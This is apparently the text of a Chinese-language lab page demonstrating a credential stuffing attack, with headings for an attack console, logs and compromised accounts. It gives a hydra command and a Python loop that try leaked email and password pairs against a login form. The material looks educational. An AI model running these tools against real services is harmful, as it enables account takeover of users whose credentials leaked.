🎯 实验一：撞库攻击演示

🎮 攻击控制台

📊 攻击结果

📜 攻击日志

💀 撞库成功的账户

🛠️ 攻击工具示例

# 使用 hydra 进行撞库
hydra -L emails.txt -P passwords.txt target.com http-post-form \
  "/login:email=^USER^&password=^PASS^:Invalid"

# 使用 Python 脚本
import requests
for email, password in leaked_credentials:
    r = requests.post(url, data={'email': email, 'password': password})
    if 'success' in r.text:
        print(f'[+] Found: {email}:{password}')